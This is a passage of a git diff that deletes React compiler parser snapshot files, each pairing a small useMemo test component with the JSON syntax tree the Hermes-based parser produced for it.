-                        48,
-                        72
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              74
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                84,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              77,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-multiple-if-else.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-multiple-if-else.js.snap
deleted file mode 100644
index f1c506b40547..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-multiple-if-else.js.snap
+++ /dev/null
@@ -1,500 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-multiple-if-else.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    let y = [];
-    if (props.cond) {
-      y.push(props.a);
-    }
-    if (props.cond2) {
-      return y;
-    }
-    y.push(props.b);
-    return y;
-  });
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "VariableDeclaration",
-                            "kind": "let",
-                            "declarations": [
-                              {
-                                "type": "VariableDeclarator",
-                                "id": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    64,
-                                    65
-                                  ]
-                                },
-                                "init": {
-                                  "type": "ArrayExpression",
-                                  "elements": [],
-                                  "loc": null,
-                                  "range": [
-                                    68,
-                                    70
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  64,
-                                  70
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              60,
-                              71
-                            ]
-                          },
-                          {
-                            "type": "IfStatement",
-                            "test": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  80,
-                                  85
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "cond",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  86,
-                                  90
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                80,
-                                90
-                              ]
-                            },
-                            "consequent": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ExpressionStatement",
-                                  "expression": {
-                                    "type": "CallExpression",
-                                    "callee": {
-                                      "type": "MemberExpression",
-                                      "object": {
-                                        "type": "Identifier",
-                                        "name": "y",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          100,
-                                          101
-                                        ]
-                                      },
-                                      "property": {
-                                        "type": "Identifier",
-                                        "name": "push",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          102,
-                                          106
-                                        ]
-                                      },
-                                      "computed": false,
-                                      "loc": null,
-                                      "range": [
-                                        100,
-                                        106
-                                      ]
-                                    },
-                                    "arguments": [
-                                      {
-                                        "type": "MemberExpression",
-                                        "object": {
-                                          "type": "Identifier",
-                                          "name": "props",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            107,
-                                            112
-                                          ]
-                                        },
-                                        "property": {
-                                          "type": "Identifier",
-                                          "name": "a",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            113,
-                                            114
-                                          ]
-                                        },
-                                        "computed": false,
-                                        "loc": null,
-                                        "range": [
-                                          107,
-                                          114
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      100,
-                                      115
-                                    ]
-                                  },
-                                  "directive": null,
-                                  "loc": null,
-                                  "range": [
-                                    100,
-                                    116
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                92,
-                                122
-                              ]
-                            },
-                            "alternate": null,
-                            "loc": null,
-                            "range": [
-                              76,
-                              122
-                            ]
-                          },
-                          {
-                            "type": "IfStatement",
-                            "test": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  131,
-                                  136
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "cond2",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  137,
-                                  142
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                131,
-                                142
-                              ]
-                            },
-                            "consequent": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "ReturnStatement",
-                                  "argument": {
-                                    "type": "Identifier",
-                                    "name": "y",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      159,
-                                      160
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    152,
-                                    161
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                144,
-                                167
-                              ]
-                            },
-                            "alternate": null,
-                            "loc": null,
-                            "range": [
-                              127,
-                              167
-                            ]
-                          },
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "y",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    172,
-                                    173
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "push",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    174,
-                                    178
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  172,
-                                  178
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "Identifier",
-                                    "name": "props",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      179,
-                                      184
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "b",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      185,
-                                      186
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    179,
-                                    186
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                172,
-                                187
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              172,
-                              188
-                            ]
-                          },
-                          {
-                            "type": "ReturnStatement",
-                            "argument": {
-                              "type": "Identifier",
-                              "name": "y",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                200,
-                                201
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              193,
-                              202
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          206
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        206
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        206
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    207
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  207
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              208
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                218,
-                219
-              ]
-            },
-            "loc": null,
-            "range": [
-              211,
-              220
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          222
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        222
-      ],
-      "loc": null,
-      "range": [
-        0,
-        222
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    222
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-named-function.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-named-function.js.snap
deleted file mode 100644
index d30bb96a3cc2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-named-function.js.snap
+++ /dev/null
@@ -1,157 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-named-function.js
----
-Input:
-function Component(props) {
-  const x = useMemo(someHelper, []);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "someHelper",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        48,
-                        58
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        60,
-                        62
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              64
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                74,
-                75
-              ]
-            },
-            "loc": null,
-            "range": [
-              67,
-              76
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          78
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        78
-      ],
-      "loc": null,
-      "range": [
-        0,
-        78
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    78
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-nested-ifs.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-nested-ifs.js.snap
deleted file mode 100644
index 41f9d6b78b42..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-nested-ifs.js.snap
+++ /dev/null
@@ -1,305 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-nested-ifs.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    if (props.cond) {
-      if (props.cond) {
-      }
-    }
-  }, [props.cond]);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "IfStatement",
-                            "test": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  64,
-                                  69
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "cond",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  70,
-                                  74
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                64,
-                                74
-                              ]
-                            },
-                            "consequent": {
-                              "type": "BlockStatement",
-                              "body": [
-                                {
-                                  "type": "IfStatement",
-                                  "test": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "props",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        88,
-                                        93
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "cond",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        94,
-                                        98
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      88,
-                                      98
-                                    ]
-                                  },
-                                  "consequent": {
-                                    "type": "BlockStatement",
-                                    "body": [],
-                                    "loc": null,
-                                    "range": [
-                                      100,
-                                      109
-                                    ]
-                                  },
-                                  "alternate": null,
-                                  "loc": null,
-                                  "range": [
-                                    84,
-                                    109
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                76,
-                                115
-                              ]
-                            },
-                            "alternate": null,
-                            "loc": null,
-                            "range": [
-                              60,
-                              115
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          54,
-                          119
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        119
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        48,
-                        119
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              122,
-                              127
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "cond",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              128,
-                              132
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            122,
-                            132
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        121,
-                        133
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    134
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  134
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              135
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                145,
-                146
-              ]
-            },
-            "loc": null,
-            "range": [
-              138,
-              147
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          149
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        149
-      ],
-      "loc": null,
-      "range": [
-        0,
-        149
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    149
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-return-empty.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-return-empty.js.snap
deleted file mode 100644
index 3efbdaa183bc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-return-empty.js.snap
+++ /dev/null
@@ -1,216 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-return-empty.js
----
-Input:
-function component(a) {
-  let x = useMemo(() => {
-    mutate(a);
-  }, []);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      34,
-                      41
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "Identifier",
-                                "name": "mutate",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  54,
-                                  60
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "Identifier",
-                                  "name": "a",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    61,
-                                    62
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                54,
-                                63
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              54,
-                              64
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          48,
-                          68
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        42,
-                        68
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        42,
-                        68
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        70,
-                        72
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    73
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  73
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              74
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                84,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              77,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-simple.js.snap
deleted file mode 100644
index d00141592f54..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-simple.js.snap
+++ /dev/null
@@ -1,267 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-simple.js
----
-Input:
-function component(a) {
-  let x = useMemo(() => [a], [a]);
-  return <Foo x={x}></Foo>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      34,
-                      41
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "ArrayExpression",
-                        "elements": [
-                          {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              49,
-                              50
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          48,
-                          51
-                        ]
-                      },
-                      "generator": true,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        42,
-                        51
-                      ],
-                      "expression": true,
-                      "loc": null,
-                      "range": [
-                        42,
-                        51
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            54,
-                            55
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        53,
-                        56
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    57
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  57
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              58
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "x",
-                      "loc": null,
-                      "range": [
-                        73,
-                        74
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          76,
-                          77
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        75,
-                        78
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      73,
-                      78
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  68,
-                  79
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Foo",
-                  "loc": null,
-                  "range": [
-                    81,
-                    84
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  79,
-                  85
-                ]
-              },
-              "loc": null,
-              "range": [
-                68,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              61,
-              86
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          88
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        88
-      ],
-      "loc": null,
-      "range": [
-        0,
-        88
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    88
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-switch-no-fallthrough.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-switch-no-fallthrough.js.snap
deleted file mode 100644
index a60d3d6f346f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@useMemo-switch-no-fallthrough.js.snap
+++ /dev/null
@@ -1,338 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/useMemo-switch-no-fallthrough.js
----
-Input:
-function Component(props) {
-  const x = useMemo(() => {
-    switch (props.key) {
-      case "key": {
-        return props.value;
-      }
-      default: {
-        return props.defaultValue;
-      }
-    }
-  });
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useMemo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      47
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "SwitchStatement",
-                            "discriminant": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  68,
-                                  73
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "key",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  74,
-                                  77
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                68,
-                                77
-                              ]
-                            },
-                            "cases": [
-                              {
-                                "type": "SwitchCase",
-                                "test": {
-                                  "type": "StringLiteral",
-                                  "value": "key",
-                                  "loc": null,
-                                  "range": [
-                                    92,
-                                    97
-                                  ]
-                                },
-                                "consequent": [
-                                  {
-                                    "type": "BlockStatement",
-                                    "body": [
-                                      {
-                                        "type": "ReturnStatement",
-                                        "argument": {
-                                          "type": "MemberExpression",
-                                          "object": {
-                                            "type": "Identifier",
-                                            "name": "props",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              116,
-                                              121
-                                            ]
-                                          },
-                                          "property": {
-                                            "type": "Identifier",
-                                            "name": "value",
-                                            "typeAnnotation": null,
-                                            "loc": null,
-                                            "range": [
-                                              122,
-                                              127
-                                            ]
-                                          },
-                                          "computed": false,
-                                          "loc": null,
-                                          "range": [
-                                            116,
-                                            127
-                                          ]
-                                        },
-                                        "loc": null,
